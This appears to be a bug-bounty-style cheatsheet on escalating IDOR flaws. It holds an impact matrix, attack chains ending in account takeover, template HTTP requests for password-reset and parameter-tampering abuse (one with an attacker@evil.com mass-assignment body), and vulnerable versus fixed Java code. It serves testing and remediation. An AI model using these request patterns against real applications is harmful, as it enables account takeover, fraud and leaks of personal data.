IDOR Escalation & Exploitation Master Cheatsheet

Advanced methodology for discovering, chaining, and escalating direct object references into full account takeovers.

OWASP A01:2021

1 IDOR Escalation Taxonomy & Impact Hierarchy

IDOR Escalation Mechanics: IDOR vulnerabilities range from low-impact information disclosure to critical domain takeovers. Escalation occurs when an attacker chains simple read-based IDORs with state-changing requests, password reset logic, or administrative workflow endpoints.

2 IDOR Severity & Escalation Impact Matrix

Impact Level	Target Vector	Exploitation Mechanism
P1 - Critical	Account Takeover (Password Reset / Email Change)	Replacing target `user_id` or `email` in password reset confirmation endpoints to takeover admin accounts.
P2 - High	Financial / Billing Data Modification	Tampering with `order_id` or `payment_id` to view payment instruments, download invoices, or issue unauthorized refunds.
P3 - Medium	Private Data Leak (PII)	Reading unencrypted user metadata, phone numbers, addresses, or private messages via numeric sequential ID scanning.
P4 - Low	Public Data Enumeration	Scraping public user profiles or internal user counts when no explicit privacy boundary is set.

3 Advanced Escalation Attack Chains

1. **Chain 1: Information Leak to ATO:** Use a Read IDOR on `/api/users/v1/profile?id=102` to extract a target's private email or hidden GUID token, then use that token to reset their password via IDOR on `/api/auth/reset-password`.
2. **Chain 2: Mass Assignment + IDOR:** Send a `PUT /api/users/102` request containing `{"role": "admin", "email": "attacker@evil.com"}` to change role attributes and claim ownership simultaneously.
3. **Chain 3: IDOR in File Download / Export:** Modify export identifiers (e.g., `/export/pdf?report_id=9941`) to dump full tenant databases or bulk system logs.

4 Real-World Escalation Request Payloads

Escalating IDOR via Password Reset Token Injection:

```
POST /api/v2/auth/confirm-reset HTTP/1.1 Host: target-app.com Authorization: Bearer ATTACKER_TOKEN Content-Type: application/json { "target_user_id": 1001, "new_password": "HackedPassword123!", "reset_token": "valid_attacker_token" }
```

Bypassing GUIDs via Alternate Parameter Sources:

```
GET /api/documents/download?doc_id=10542 HTTP/1.1 Host: target-app.com X-Original-User-ID: ADMIN_UUID_LEAKED_IN_JS
```

5 Secure Remediation & Defense

❌ **Vulnerable Implementation (Implicit Object Retrieval):**

```
@PostMapping("/api/profile/email") public ResponseEntity updateEmail(@RequestParam Long userId, @RequestParam String email) { // Vulnerable: Blindly updates email for any user ID supplied in query param userService.updateEmail(userId, email); return ResponseEntity.ok().build(); }
```

✅ **Secured Implementation (Session Binding):**

```
@PostMapping("/api/profile/email") public ResponseEntity updateEmail(@RequestParam String email, Authentication auth) { // Secure: Binds current session identity strictly from authenticated user context User principal = (User) auth.getPrincipal(); userService.updateEmail(principal.getId(), email); return ResponseEntity.ok().build(); }
```

6 IDOR Escalation Verification Checklist

- [ ] Tested chaining Read IDORs with state-changing operations (Email update, Password reset).
- [ ] Checked for IDORs in Export, PDF generation, and Report download features.
- [ ] Verified strict server-side authentication context binding across all sensitive APIs.